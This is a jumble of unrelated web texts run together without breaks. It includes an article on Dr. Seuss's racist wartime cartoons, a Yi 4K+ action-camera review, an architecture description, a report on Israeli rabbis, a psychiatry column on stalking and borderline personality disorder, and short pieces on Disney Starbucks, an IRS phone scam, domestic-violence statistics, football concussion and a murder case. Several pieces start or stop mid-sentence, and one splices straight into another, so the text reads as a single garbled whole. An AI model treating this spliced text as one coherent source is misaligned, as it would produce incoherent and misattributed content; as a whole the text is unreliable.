The OPCW, a Hague-based body, won the 2013 Nobel Peace Prize.Before Theodor Seuss Geisel AKA Dr. Seuss convinced generations of children that a wocket might just be in their pocket, he was the chief editorial cartoonist for the New York newspaper PM from 1940 to 1948. During his tenure he cranked out some 400 cartoons that, among other things, praised FDR’s policies, chided isolationists like Charles Lindbergh and supported civil rights for blacks and Jews. He also staunchly supported America’s war effort.
To that end, Dr. Seuss drew many cartoons that, to today’s eyes, are breathtakingly racist. Check out the cartoon above. It shows an arrogant-looking Hitler next to a pig-nosed, slanted-eye caricature of a Japanese guy. The picture isn't really a likeness of either of the men responsible for the Japanese war effort – Emperor Hirohito and General Tojo. Instead, it’s just an ugly representation of a people.
In the battle for homeland morale, American propaganda makers depicted Germany in a very different light than Japan. Germany was seen as a great nation gone mad. The Nazis might have been evil but there was still room for the “Good German.” Japan, on the other hand, was depicted entirely as a brutal monolith; Hirohito and the guy on the street were uniformly evil. Such thinking paved the way for the U.S. Air Force firebombing of Tokyo, where over 100,000 civilians died, and for its nuclear bombing of Hiroshima and Nagasaki. And it definitely laid the groundwork for one of the sorriest chapters of American 20th century history, the unconstitutional incarceration of Japanese-Americans.
Geisel himself was vocally anti-Japanese during the war and had no trouble with rounding up an entire population of U.S. citizens and putting them in camps.
But right now, when the Japs are planting their hatchets in our skulls, it seems like a hell of a time for us to smile and warble: "Brothers!" It is a rather flabby battle cry. If we want to win, we've got to kill Japs, whether it depresses John Haynes Holmes or not. We can get palsy-walsy afterward with those that are left.
Geisel was hardly alone in such beliefs but it’s still disconcerting to see ugly cartoons like these drawn in the same hand that did The Cat in the Hat.
In 1953, Geisel visited Japan where he met and talked with its people and witnessed the horrific aftermath of the bombing of Hiroshima. He soon started to rethink his anti-Japanese vehemence. So he issued an apology in the only way that Dr. Seuss could.
He wrote a children’s book.
Horton Hears a Who!, published in 1954, is about an elephant that has to protect a speck of dust populated by little tiny people. The book’s hopeful, inclusive refrain – “A person is a person no matter how small” -- is about as far away as you can get from his ignoble words about the Japanese a decade earlier. He even dedicated the book to “My Great Friend, Mitsugi Nakamura of Kyoto, Japan.”
You can view an assortment of Dr. Seuss's wartime drawings in general, and his cartoons of the Japanese in particular, at the Dr. Went to War Archive hosted by UCSD.
via Dartmouth
Related Content:
Private Snafu: The World War II Propaganda Cartoons Created by Dr. Seuss, Frank Capra & Mel Blanc
New Archive Showcases Dr. Seuss’s Early Work as an Advertising Illustrator and Political Cartoonist
Fake Bob Dylan Sings Real Dr. Seuss
The Epistemology of Dr. Seuss & More Philosophy Lessons from Great Children’s Stories
Jonathan Crow is a Los Angeles-based writer and filmmaker whose work has appeared in Yahoo!, The Hollywood Reporter, and other publications. You can follow him at @jonccrow. And check out his blog Veeptopus, featuring one new drawing of a vice president with an octopus on his head daily.Share
Earlier this year, Xiaomi-backed Yi Technology announced the impending release its newest action cam, the Yi 4K+. After a short delay due to production problems, the 4K+ is finally available to purchase, and we’ve spent the past month putting it to the test. We now know why this flagship action camera is aptly being called a “GoPro killer.” It offers a wealth of features that match or beat GoPro’s high-end Hero5 Black, yet comes in $50 cheaper.
Design and Features
Before diving into the guts and image quality of the camera, let’s take a look at the design and details.
The Yi is the first action cam out there to offer 4K video at 60 frames per second
The overall shape is what you’d expect from a camera that’s targeting the market GoPro has all but monopolized. It features a familiar boxy design that’s flat on the top and bottom, but with a slight curve on the sides that gives the 4K+ a unique profile.
The 155-degree, f/2.8 lens sits to the left of center and protrudes out a good bit more than its contemporary, the GoPro Hero5 Black, but it offers a decent bit of protection from bumps thanks to a subtle, integrated hood.
Aesthetically, the Yi 4K+ is quite the looker, as far as action cameras go. It has a single button on the entire device and a USB Type-C port on the side. On the bottom of the camera is an access door for its 1,400mAH battery and MicroSD slot, as well as a standard tripod mount.
A small detail that stood out was the placement of the tripod mount. Rather than centering it on the bottom of the camera, Yi offset it and aligned it perfectly with the lens. This means when mounting it to a tripod, the image will be centered on the pivot point, which is important, especially with wide-angle footage where an inch can make a big difference in the amount of distortion.
The carbon fiber pattern on the faceplate of the 4K+ is a little uninspiring, but makes for a stark contrast to GoPro Hero 5’s more rugged look. The rear of the camera is even more simplistic, with nothing more than a single sheet of glass that acts as the interaction point for the 2.2-inch “retina” touchscreen.
Simply put, if the design of the GoPro Hero 5 is reminiscent of a Jeep Wrangler, the Yi 4K+ would be more along the lines of a Nissan 370Z. It’s sleek and simple without any unnecessary frills. Of course, this comes at the cost of durability.
Unlike the GoPro, which is ruggedized without the need for an external housing, the 4K+ isn’t waterproof, shockproof, or dustproof unless it’s inside the included housing, which makes it a good bit larger.
Performance
Inside the Yi 4K+ is where the real fun begins. Starting at the core, the Yi 4K+ action cam is built around Sony’s Exmor R 12-megapixel CMOS backside-illuminated sensor. Powered by a quad-core ARM Cortex 64-bit processor and 2GB of RAM, the 4K+ shoots video in the h.264 format at up to 135 megabits per second.
Yi was once considered little more than a GoPro knockoff; the 4K+ shows it is anything but.
More importantly, it is the first action cam to offer 4K video at 60 frames per second (fps), beating out the 30 fps of GoPro’s flagship Hero 5 Black. This is a rare achievement, with even the vast majority of high-end interchangeable lens cameras limited to 30 fps when shooting 4K (the Panasonic Lumix GH5 being one exception). Even if the idea of watching 4K in 60 fps doesn’t impress you, you can use that higher framerate for crystal-clear slow motion playback at 30 fps without dropping to a lower resolution, as would be required on the GoPro.
However, if extreme slow motion is your thing, the Yi 4K+ might leave you a bit disappointed. Interestingly, the maximum framerate in Full HD 1080p is unchanged at 120 fps, exactly equal to the Hero5 Black. Similarly, 720p remains limited to 240 fps. While these numbers aren’t bad, with the processing power to churn out Ultra HD footage at 60 fps, the 4K+ should have theoretically been able to shoot 1080p at 240 fps — which would have given it another unique advantage over the competition. Unfortunately, the reason Yi couldn’t push beyond 1080p/120 is apparently due to the limitations of the h.264 codec.
During our testing, we captured footage in a variety of modes. Specifically, we tested 4K video at 60 frames per second and 30 frames per second with Yi’s proprietary electronic image stabilization turned on. Yes, unlike the Hero5 Black, the 4K+ can use digital stabilization at any resolution, including 4K (but not at 60 fps).
In favorable lighting conditions, the image quality of the 4K+ is nothing short of incredible. Regardless of the mode you’re shooting in, the image stays considerably sharp from edge-to-edge. Dynamic range is solid when using the “Yi Color” profile, but for times when you want a little more latitude, Yi has included a “Flat” color profile, which drops the contrast for more control in post with color grading — similar to what’s available under GoPro’s advanced Protune settings.
If the fisheye look isn’t something you’re fond of, the 4K+ has integrated lens distortion correction. In our tests, both with stills and video, the corrected images were absent of any distortion, even towards the edge of the frame.
The 4K+ isn’t waterproof, shockproof, or dustproof unless it’s inside the included housing.
The electronic image stabilization proved impressive, as well. It won’t be smoothing out every bump from a rough mountain biking session, but it dramatically reduces the shakiness and almost entirely eliminates shake when walking with it handheld.
In low light conditions, the 4K+ has a dedicated “Auto Low Light” mode that adjusts the settings to offer more detail in dark scenes. While it did improve detail in the shadows it also increased the noise present in the video. So don’t expect to use the 4K+ at night for important video without an external light source.
Action cams are notorious for their poor battery performance and the 4K+ isn’t much different, although the 1400mAH battery does last longer than expected. Yi claims 71 minutes of battery life when recording 4K video at 30 frames per second. In our testing, the camera lasted a good bit longer at 90 minutes. But that was in ideal (read: warm) weather and with electronic image stabilization turned off.
Connectivity
The sole I/O on the 4K+ is a USB Type-C port on the side of the camera. This single port is used to charge the camera, offload media, and connect an external microphone. USB Type-C is a nice touch, but data transfer speed is limited to 40MB/s. Still, this is twice as fast as the 20MB/s offered by the predecessor, the original Yi 4K.
The only complaint I have with the sole port on the 4K+ is the cover protecting it proved difficult to open. If you tend to keep your nails trimmed, you might struggle to access it.
On the wireless front, the 4K+ offers both integrated Wi-Fi and Bluetooth. Bluetooth is used with accessories, such as Yi’s own remote, while Wi-Fi is used to connect the 4K+ to Yi’s dedicated smartphone app.
Speaking of the accompanying app, Yi’s Action App is available on both Android and iOS. Once downloaded and paired with the 4K+, the app gives complete control over the camera and shows a live feed of what the camera is seeing. In our testing, the live feed proved incredibly responsive with minimal lag, regardless of shooting mode.
The app also lets you download photos and video directly from the 4K+ to your phone, and Yi claims an update will be coming that will let you livestream video to Facebook and YouTube using your smartphone’s internet connection. Once that update arrives, this will be another feature unique to the 4K+ (although, you can livestream to Twitter with a GoPro using the Periscope app).
Warranty information
Yi offers a one-year limited warranty that covers the standard defects that may arise from materials or workmanship.
Yi also offers a 30-day money back guarantee. If, for any reason, you’re not happy with your purchase, you can return the items in their original packaging within 30 days of the purchase date and receive a full refund. Return shipping is on you, but that’s a small price to pay for some peace of mind if you’re not sure the 4K+ is right for you.
Our Take
Yi was once considered little more than a GoPro knockoff. The 4K+ shows it is anything but, not only matching GoPro’s flagship Hero5 Black model, but even surpassing it in a few areas. Its affordability, comparative to GoPro’s offerings, is its biggest appeal, with a street price of $340. But its impressive image quality and features make it even more enticing for action-seeking adrenaline junkies.
Is there a better alternative?
For the price range, you’ll be hard pressed to find a more capable action cam. The Yi 4K+ offers impressive specs and superb image quality on par with GoPro’s more expensive Hero 5 Black.
It’s not waterproof out of the box, and lacks the impressive lineup of accompanying smartphone apps GoPro has, but it’s a capable little camera that beats out the GoPro both in framerate and price.
How long will it last?
Considering it’s an action cam, it’s safe to say you’re more likely to kill this camera during an adrenaline-fueled adventure than to discard it due to the lack of imaging capabilities or failure from old age.
Its 4K resolution at 60 frames per second puts it a step ahead of GoPro’s current offerings. Even a few generations down the road, the 4K+ should hold up well in terms of resolution and speed, especially if Yi continuously updates its firmware and accompanying apps, which it has a solid record of doing.
Should you buy it?
The 4K+ gives the GoPro Hero 5 Black a run for its money, both literally and figuratively. If you don’t mind the lack of GoPro branding and want to save a few bucks in the process, you should absolutely go with the Yi 4K+ action cam. If you want a camera that’s ruggedized and waterproof out of the box, without the need for external housing, then the GoPro Hero5 Black might be your best bet, and may be worth the $60 premium.
Update December 27th, 2017: Yi has updated the firmware multiple times since the release of the 4K+ Action Cam. New features include new languages (Russian, Chinese, German, French, and Italian), better RAW photo capture, improved voice control, more reliable live-streaming, additional shutter speed options, more accurate color renditions, better battery life, and better support for MicroSD cards. The original review was published on May 19th, 2017.The Kolon Future Research Park was designed by Morphopedia for the new Kolon Group's headquaters located in the Magok district in Seoul.
Architect: Morphopedia
Location: Seoul, South Korea
Design: 2013 - 2015
Construction: 2015 - 2018
Size: 821,286 ft² / 76,300 sqm
Project's description: The Kolon Group, based in Seoul, is a diverse corporation whose activities range from textiles, chemicals, and sustainable technologies, to original clothing lines in the athletic and ready-to-wear fashion markets. Between the group’s 38 divisions, Kolon covers research, primary material manufacture, and product construction – a unique configuration that enables the company to capitalize on its own resources and advances, and to forge innovative collaborations between divisions. Supporting this collaborative model was a primary goal behind the design of Kolon’s new Corporate Headquarters and Research Facilities. Bringing researchers, leadership, and designers together in one location, the building combines flexible laboratory facilities with executive offices and active social spaces that encourage greater interaction and exchange across the company.
The headquarters is located in the Magok district, an emerging hub for technology and light industry that is revitalizing the Han-River area in south-eastern Seoul. Fostered by the Seoul Metropolitan Government, the Magok district is conceived to function as an “industrial ecosystem” where a range of tech and information fields will co-locate to spawn new intersecting markets. Kolon is one of the first firms moving their corporate headquarters and R & D operations to Magok, and the new building will set the standard for performance and design in the district. The four-acre project site sits adjacent to Magok’s central park – a prominent location for what will be the district’s first major completed building.
The building folds towards the park, providing passive shading to the lower floors. Bridging the three extending laboratory wings, this folding volume contains conference rooms and social spaces, augmented by flagship retail and exhibition galleries at the street level to communicate the brand’s vision to the public. A transparent ground plane extends the landscape into the interior, drawing light and movement towards an open pedestrian laneway and grand entry. At 30m tall and 100m long, the expansive multi-story atrium serves as the building’s social center. Movement is revealed on all floors through the atriums transparent liner system, which is comprised of massive, 8m ‘stretchers’ that allow for a changing display of Kolon’s own fabrics.
The performance of the building was approached as a holistic concept encompassing energy efficiency, resource conservation, and environmental stewardship, working in concert with education and employee health and wellbeing. Along with goals for LEED Gold and the most rigorous sustainability certification in Korea, the project focuses on the quality of the work environment through roof terraces, courtyards, and other measures that increase access to natural light and air for employees. Other sustainable measures include: green roofs; recycled materials; and utilizing a bubble deck slab that reduces the amount of concrete used by 30%. The distinctive brise-soleil system on the western façade is both a performative and symbolic feature of the building; the façade units have been parametrically shaped to balance shading and views, and are made from a GFRP formulation that uses one of Kolon’s own high-tech fabrics, Aramid, to dramatically increase the material’s tensile strength. Together, the building's siting, spatial qualities, and technological innovations express Kolon’s investment in and commitment to sustainability.At least two Israeli Orthodox rabbis have begun performing wedding ceremonies for Israeli Jews outside the official framework of Israel’s Chief Rabbinate, knowingly breaking the law, in an expression of opposition to the intertwining of religion and state and in protest at the rabbinate’s coercive and conservative approach.
Even though the weddings are performed in strict accordance with Jewish religious law — halacha — the rabbis and the couples are breaching Israeli law and could all face up to two years in prison for their “crime,” Israel’s Channel 2 reported on Saturday night.
Israeli law mandates that life-cycle events — birth, marriage, divorce and death — are handled under the monopoly of the Orthodox rabbinate. That monopoly is bitterly opposed by the leaderships of non-Orthodox Judaism and many in the Orthodox world, but has been maintained over the decades at the insistence of Orthodox political parties and with the consent of the non-Orthodox parties.
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In a news feature on what it called a growing trend of such marriages, the TV report interviewed the two rabbis — Charles (Chuck) Davidson and Elli Fischer — and a third rabbi, Dr. Michael Abraham, who also performs halachic divorces outside the rabbinate framework.
Abraham called the rabbinate “damaging, somewhat corrupt and monopolistic.” Asked who would safeguard Judaism if every rabbi set up his own marriage or divorce authority, Abraham said the Israeli rabbinate was “the last institution” capable of protecting Judaism, and that the faith had managed fine for centuries without it and would hopefully do so again soon.
Davidson was filmed together with a young Israeli Jewish couple, Michal and Naftali Segev, whose marriage he recently performed |
by Dave Garver (Clint Eastwood), which results in near death for both Dave and his girlfriend in the movie Play Misty for Me (1971)? Or even Darian Forrester (Alicia Silverstone), the young 14-year-old girl who develops a perilous infatuation with Nick Eliot (Cary Elwes) in The Crush (1993)? What do all of these exemplary movies share in common? They each have a lead character who stalked her coveted victim—and each stalker suffered from borderline personality disorder (BPD). While movie portrayals tend to dramatize the characters and their behaviors, stalking is not an uncommon behavior. For example, in a 2006 community survey, the United States Department of Justice (Bureau of Justice Statistics) investigated stalking behavior among United States citizens through the National Crime Victimization Survey: Stalking Victimization Supplement.1 In this cohort of more than 65,000 participants ages 18 years or older, the 12-month prevalence of victimization by stalking was 1.4 per every 100 persons. The most frequent behaviors reported by affected participants were unwanted telephone calls and messages (63%) unwanted letters and e-mails (30%), being the brunt of rumors spread by the perpetrator (29%), being followed or spied upon (25%), getting unexpectedly confronted by the perpetrator (22%), being waited for (20%), and receiving unwanted presents (9%). While most victims reported being stalked for a year or less, 10 percent acknowledged continued victimization for five or more years. Unexpectedly, in this community sample, male participants were equally likely to be stalked by males or females, whereas female victims were more likely to be stalked by males (67%). Victims most commonly believed that they were stalked because of retaliation, anger, or spite (37%); control issues (33%); and/or the mental or emotional instability of the perpetrator (23%). What do these data indicate? Being victimized in the United States by stalking behavior is not uncommon, manifests through a variety of different contact behaviors, and is likely to occur for a number of reasons. However, we cannot discern from these data the underlying psychopathology of the offenders. In this edition of The Interface, we discuss the possible role of BPD as an underlying psychopathology in stalking behavior—a troubling behavior that may be encountered in either a psychiatric or primary care setting.
Stalking Behavior: Broad Prevalence Data Stalking behavior is defined by Sheridan et al2 as chronic nuisance behaviors by an offender that result in deleterious emotional and/or physical effects on a victim. These authors report that the lifetime prevalence of being stalked is between 12 and 16 percent among women and 4 and 7 percent among men, and that the behavioral patterns of offenders appear fairly consistent over various samples from different countries. We now take a closer examination of the likelihood of being stalked. United States studies on prevalence. In addition to the recent study by the United States Department of Justice, Tjaden and Thoennes surveyed 8,000 women and 8,000 men in the 1998 National Violence Against Women Survey.3 In this study, lifetime prevalence rates of being stalked were eight percent in women and two percent in men, with 12-month prevalence rates at one percent and 0.4 percent, respectively. In addition to the preceding two studies, Bjerregaard examined victimization by stalking in a sample of college students.4 In this cohort at a large public university, the lifetime prevalence of being stalked was 25 percent in women and 11 percent in men. Somewhat surprisingly, six percent of participants indicated that they were currently being stalked. International studies on prevalence. In keeping with the impressions of Sheridan et al,2 stalking exists in other countries as well. However, at this juncture, studies are limited. In an Australian community sample, 23 percent of participants reported having ever experienced brief harassment or protracted stalking.5 In a study from Austria, Stieger et al6 determined that the lifetime prevalence of stalking in a community sample was 11 percent. According to the findings of the 1998 British Crime Survey, 12 percent of United Kingdom participants reported a lifetime history of being stalked.7 Finally, in a German study by Kuehner et al,8 11 percent of participants reported being stalked at some point in their lives. While the majority of international lifetime prevalence rates hover around 11 to 12 percent, there may be some variability in these data based upon investigators' definitions of stalking as well as the interpretation of stalking by participants (e.g., brief nuisance behaviors versus bona-fide stalking behavior).
Associations of Stalking with BPD The underlying psychopathologies of those who stalk others include various Axis I diagnoses, such as schizophrenia, delusional disorder, bipolar disorder, substance-related disorders, and major depression. However, for the remainder of this article, we will focus on possible associations between stalking and BPD. Why is this association of noteworthy relevance? Recall that the Diagnostic and Statistical Manual of Mental Disorders, Fourth Edition, Text Revision (DSM-IV-TR) describes BPD as characterized by, “a pattern of unstable and intense interpersonal relationships” coupled with “frantic efforts to avoid real or imagined abandonment.” Indeed, the paradoxical over- and under-attachment style of these patients is well known by clinicians and seems to provide a fertile substrate for the evolution of stalking behavior.
Stalking and Personality Disorders Several studies have examined the prevalence of Axis II disorders among the perpetrators of stalking, but have not specified the explicit type of personality disorder. For example, in a United Kingdom study of 85 stalkers who were referred to a forensic service, James and Farnham9 found that 24 percent evidenced some type of Axis II disorder, but the authors did not describe the explicit prevalence rates for the individual personality disorders. In another United Kingdom study by Whyte et al,10 investigators examined personality dysfunction in a consecutive sample of 362 admissions to a high-security hospital. In this sample, nine percent of participants were classified as stalkers. Most of these individuals suffered from psychosis and Axis II disorders—but again, the authors did not specify the profile of individual personality disorders.
Stalking and Cluster B Associations In the next group of studies, investigators identified Cluster B associations with stalking behavior, without any further Axis II clarification. For example, in an Australian study, Mullen et al11 examined 145 stalkers who were referred to a forensic psychiatry center for treatment. In this cohort, 51 percent had a primary diagnosis of personality disorder, with the majority falling into the Cluster B category. However, there was no description of the frequency of individual personality disorders within this cluster. In a United States study, Rosenfeld12 examined 148 court-referred stalking offenders. He found that 52 percent of these individuals fell into the diagnostic categories of borderline, antisocial, and narcissistic traits or disorders, but no individual prevalence percentages were reported in the article.
Stalking and borderline personality Features In addition to stalker studies that have determined prevalence rates for only Cluster B disorders, in several studies, investigators have identified borderline personality features, but not specified explicit prevalence rates. For example, in a controlled study of self-referred stalkers, Lewis et al13 found that offenders scored significantly higher on borderline personality features. In addition, in a sample of 292 college students, Spitzberg and Veksler14 found that 46 percent reported that they had been stalked by a previous partner. Based upon the recollections of participants, the investigators determined that these unwanted pursuers were often described as having borderline personality features. Finally, in a lone case report, Powers15 described a 54-year-old stalker who suffered from “borderline personality organization.” Given the 1998 publication date, one can only speculate what this might mean in terms of DSM-IV-TR nomenclature.
Stalking and BPD We were only able to locate five studies that report explicit rates of BPD in stalkers ( ). All five studies are from English-speaking Western countries, with three being from the United States. Interestingly, three are based upon retrospective data and involve some sort of forensic population (i.e., a more severely disturbed sample due to their criminal status). Table 1 FIRST AUTHOR YEAR OF STUDY SAMPLE/METHOD DESCRIPTION PREVALENCE OF BPD COMMENT NUMBER (%) McIvor16 2008 UK psychiatric patients; retrospective survey 6/41 (15%) Recollections of psychiatrists of patients who stalked them; BPD most common Axis II diagnosis Meloy17 2003 US females; retrospective cases of mental health and law-enforcement professionals; charges/conviction not necessary 10/22 (45%) BPD most common Axis II diagnosis Purcell18 2001 Australian females; forensic mental health clinic 6/40 (15%) BPD equally common as dependent personality Kienlen19 1997 Archival files of 25 US forensic subjects, who underwent previous psychiatric assessment 2/25 (8%) Diagnoses assigned at the time of forensic evaluation Harmon20 1995 Persons criminally charged with stalking between 1987 and 1994 in New York County Criminal Court 2/48 (4%) Diagnoses undertaken by forensic psychiatry clinic staff Open in a separate window In these five samples, the prevalence of BPD varies widely, from 4 to 45 percent. This degree of variation is likely to reflect differing methodologies of the studies (e.g., retrospective recall, archival data with the associated inherent limitations in confirming relevant clinical features). Variation in BPD prevalence may also be explained by sample type. Explicitly, in populations with greater forensic implications and in the sample of patients who stalked their psychiatrist, there are seemingly lower rates of BPD (4–15%). In contrast, in the only population that was characterized by “charges or conviction not necessary,” there were relatively higher rates of BPD (45%). This difference may suggest that stalkers who wind up in mental health treatment and in forensic settings are more likely to suffer from Axis I mental disorders, such as schizophrenia, delusional disorder, bipolar disorder, substance-related disorders, or major depression. In contrast, in cases of less severe stalking, a significant minority of individuals appears to suffer from BPD. Only further research will clarify this potentially significant difference in population characteristics.
Conclusion Stalking is an infrequent but not uncommon behavior in the United States population, affecting approximately eight percent of women and two percent of men during their lifetimes. While studies are limited in number, most indicate a subpopulation of offenders with Axis II, Cluster B, and/or BPD features/disorder. Importantly, the diagnostic loading of BPD may be dependent on the population under study, with forensic populations (i.e., more psychiatrically ill) demonstrating lower rates of BPD due to competing Axis I psychiatric diagnoses, and community samples (exceedingly more difficult to identify and study) demonstrating higher rates of BPD. Only further research will resolve this diagnostic mystery. Until then, we will surely continue to encounter stalking victims in our psychiatric and primary care practices.
The Stalking Resource Center The National Center for the Victims of Crime Stalking Resource Center can be accessed at http://www.ncvc.org/src/Main.aspx or reached at 1-800-FYI-CALL. The Stalking Resource Center has useful information for victims, statistics on stalking, resources, and products, and a related newsletter.
Contributor Information Randy A. Sansone, Dr. R. Sansone is a professor in the Departments of Psychiatry and Internal Medicine at Wright State University School of Medicine in Dayton, Ohio, and Director of Psychiatry Education at Kettering Medical Center in Kettering, Ohio. Lori A. Sansone, Dr. L. Sansone is a family medicine physician (government service) and Medical Director of the Primary Care Clinic at Wright-Patterson Air Force Base. The views and opinions expressed in this column are those of the authors and do not reflect the official policy or the position of the United States Air Force, Department of Defense, or US government.It’s been roughly five months since Disney opened its first Starbucks location inside a theme park at the Disneyland Resort in California and now Walt Disney World has revealed plans to add two more locations, one in the Magic Kingdom and the other at Epcot.
At the Magic Kingdom, on Main Street USA, the Main Street Bakery will close in January 2013, reopening as a Starbucks location a few months later, in early summer. Inside, an early 20th century look will be retained through the location’s theme and Cast Member costumes. At Epcot, the Fountain View will close in March 2013, reopening reopen as a Starbucks location sometime midsummer. Costumes here will be in line with the “futuristic theme” of the park.
Each will be a fully functional Starbucks location, including all the usual beverages, baked goods, and sandwiches, with more locations on the way “soon” for both Walt Disney World and Disneyland. The Main Street Bakery will continue to serve Disney menu items as well.
UPDATE (11/13/12): In response to fans’ concerns and complaints regarding the changes coming to the Main Street Bakery, Disney has clarified exactly how Starbucks will be integrated:
Here’s some additional information about our Walt Disney World Resort Starbucks locations. The Main Street Bakery will keep its name and theming when it reopens in early summer. It’ll also continue to serve Disney favorites like cookies, brownies and seasonal cupcakes, in addition to Starbucks signature beverages and other items. And for those of you who asked in comments, the cinnamon rolls are available at Gaston’s Tavern in New Fantasyland, and the ice cream sandwiches are available at Plaza Ice Cream Parlor on Main Street, U.S.A.
The Starbucks inside the Disney California Adventure theme park has been successful since its opening within the Fifer and Practical Café in June 2012, featuring prices in line with most other Starbucks locations throughout the country. Signage in the area is minimal, indicating the location features Starbucks products but not overwhelmingly advertising it as such. The same will likely be true for the Main Street USA and Future World locations, keeping with their themes.
(And no, the mermaid logo at the top of the post isn’t really used by Disney or Starbucks, but we still like it.)You know tax scams are getting seriously out of hand when a criminal posing as an IRS agent calls one of the country's top tax-crime fighters, hoping to scare him into sending money.
Yet that's exactly what happened to Timothy Camus, the deputy inspector general for investigations at the agency that oversees the IRS.
The episode really drove home a key point Camus made to a Senate panel Thursday when he called the scam one of the agency's "top priorities."
"The criminals do not discriminate; they are calling people everywhere, of all income levels and backgrounds," he said.
His office, the Treasury Inspector General for Tax Administration (TIGTA), receives as many as 12,000 reports of these scam calls a week.
Since October 2013, when the agency started tracking complaints, more than 3,000 people have fallen victim to the scam, sending criminals $15.5 million, Camus said. The average heist is $5,000 per victim, but one individual actually lost $500,000.
Related: 12 biggest tax scams to avoid
The criminals typically call people unsolicited, claim to be from the IRS and assert that they owe taxes. The scammers tell the victims they will be criminally prosecuted if they don't make a payment immediately and threaten them with arrest, loss of their driver's license, deportation or some other seriously negative consequence.
They typically demand payment through prepaid debit cards, which are hard to trace. Once victims load up a card with their money, they are instructed to read the numbers from the prepaid card to the scammers over the phone.
While these phone scams have hurt victims in almost every state, Camus said the top five states in terms of total dollar losses so far are: California ($3.84 million), New York ($1.35 million), Texas ($795,884), Florida ($760,000) and Virginia ($648,363).
Related: IRS has $1 billion in unclaimed refunds
Phone scams top the IRS's so-called Dirty Dozen list of tax scams this year and Camus called them "the largest, most pervasive impersonation scam in the history of our agency."
Camus said the scam was the subject of "an ongoing multi-agency investigation."
As he told the criminal who called him, "Your day will come."
If you get what you suspect is a scam call, report it to TIGTA through its web site or call 800-366-4484.There is a very interesting longitudinal study of families done by Otago University on the issue of domestic violence.
I should preface these extracts by saying that when it comes to the most severe forms of domestic violence – being killed or maimed by your partner or ex-partner, its is clear that this happens to women, by men, far more often. But what does the Otago study find for overall domestic violence:
In addition, victimization and perpetration reports were highly correlated (r =.81). This reflects the fact that, in most instances, respondents reported mutual IPV, with 90% of those reporting IPV victimization reporting IPV perpetration, and 94% of those reporting IPV perpetration reporting IPV victimization. There were no significant differences between males and females in terms of reported IPV victimization. The mean victimization score for females was 2.12 (SD = 2.91) compared to the mean of 2.28 (SD = 2.71) for males (p >.40). However, there was a significant difference between males and females in terms of reported IPV perpetration, such that females reported higher levels of IPV perpetration. The mean perpetration score for females was 2.15 (SD = 2.26), compared to a mean of 1.66 (SD = 2.04) for males (p <.01).
That’s what you call an inconvenient fact.
In terms of the CTS victimization subscale measures, 11.3% of males and 7.3% of females reported being exposed to minor physical assault; 7.7% of males and 3.4% of females reported severe physical assault; 65.7% of males and 66.1% of females reported minor psychological aggression; and 15.4% of males and 9.2% of females reported severe psychological aggression. For the CTS perpetration subscale measures, 6.7% of males and 5.5% of females reported committing minor physical assault; 2.8% of males and 3.2% of females reported severe physical assault; 56.7% of males and 68.7% of females reported minor psychological
aggression; and 6.9% of males and 9.2% of females reported severe psychological aggression.
So males are more likely to suffer a severe physical assault.
Now the reality is that most men and stronger than most women, and the impact of a serious physical assault can be both physically and psychologically more damaging, even terrifying for a woman. So this paper doesn’t minimise the horrendous impact on women, of serious assaults. It just establishes that domestic violence is far from exclusively something men do to women – in fact 90% of those who get victimised by domestic violence, also perpetrate it, according to this study. Now that is not 100%, and many people suffer domestic violence, who never ever engage in it itself. But the study shows they are the exception, not the rule.
The report authors conclude:
All research into IPV is conducted against the backdrop of what Dutton (Dutton, 1994; Dutton & Nicholls, 2005) has described as “the feminist paradigm” (p. 682). This model, which dominates public discourse about domestic violence, views violence through a gendered lens that centers around the assumptions that: (a) most domestic violence involves male perpetrators and female victims; (b) female violence is defensive and reactive; and (c) the causes of domestic violence reflect the values of patriarchal social structures in which violence is used to control women and limit their opportunities (e.g. Bograd, 1988; Dobash & Dobash, 1979; Dobash, Dobash, Wilson, & Daly, 1992; Johnson, 1995). While this model has been highly influential in setting the directions of domestic violence policy, it is almost completely discrepant with the findings of this and a growing number of studies.
They point out:
While population survey data have tended to suggest an absence of gender differences, official data tend to suggest a predominance of male perpetrators and female victims. Reconciling these differences is central to a balanced understanding of the issues of IPV. The most straightforward resolution of the evidence is to suggest that, while males and females appear to be equally predisposed to domestic violence, because of greater male strength and capacity for aggression, males predominate in the more extreme cases of IPV represented in officially recorded statistics
None of the above should take away from the reality that too many men do commit domestic violence, and as a society we should make domestic violence as socially unacceptable as drink driving now is. That is what David Cunliffe very clumsily was trying to say a couple of days ago.
But apologising for being a man, was both stupid (you apologise for what you do, not for what you are), but also missing the wider picture of domestic violence.Footballers should be removed from play if they lose consciousness, say the world players' union Fifpro and the Professional Footballers' Association.
Tottenham keeper Hugo Lloris was allowed to carry on after being knocked out in Sunday's 0-0 draw with Everton.
"If anyone suffers severe trauma to the head and loses consciousness, they should be required to leave the field," said the PFA's John Bramall.
FA guidelines on head injuries Medical Regulations. 2.7 All clubs shall ensure that any player having left the field of play with a head injury shall not be allowed to resume playing or training without the clearance of a qualified medical practitioner. The same provision shall apply where a head injury is sustained in training.
The Football Association says a player can continue if assessed by a doctor.
Lloris briefly lost consciousness after colliding with striker Romelu Lukaku late on in the match at Goodison Park and was assessed on the pitch before continuing.
Spurs manager Andre Villas-Boas said he believed Lloris looked capable of continuing and the French international later underwent a CT scan, showing no signs of concussion.
"This decision is unacceptable," said Fifpro medical advisor Vincent Gouttebarge.
"Fifpro condemns that the health and safety of players are left to coaches, trainers or even to players themselves.
"Medical professionals should be aware of any relevant medical guidelines and apply them in order to empower the health and safety on the field."
Media playback is not supported on this device Sweeper-keeper Lloris - risky or brilliant?
Fifpro urged all clubs to follow guidelines laid out by sport medicine groups in Zurich last year, which called for the removal of a player from the field if they were showing a loss of consciousness.
Fifa's chief medical officer, Professor Jiri Dvorak, also said Lloris should have been substituted, in accordance with the world governing body's guidelines.
"The decision was not right," added Dvorak.
"We have a very clear recommendation for doctors if concussion occurs or even if there is a strong suspicion of concussion then the player should be taken out of the play.
"This injury could have led to more severe complications."
Bramall added: "It is important to take the pressure off the players, club medical staff, and the manager - removing the need for them to make a very difficult decision.
"The PFA will continue to work with the stakeholders within the game, to evaluate what guidelines are currently in place and to see if and how they need to be improved."
In rugby union, Dr Barry O'Driscoll resigned from his role as medical advisor to the International Rugby Board in October following concerns about the treatment of concussion.A 70-year-old man has been jailed for life for murdering his young Chinese wife and dissolving her body in acid after police discovered 10 of her fake teeth in a drain near their Cairns home.
Klaus Andres told detectives his wife Li Ping Cao, 42, disappeared in October 2011 after she walked out of their home following an argument, during which she accused him of cheating on her.
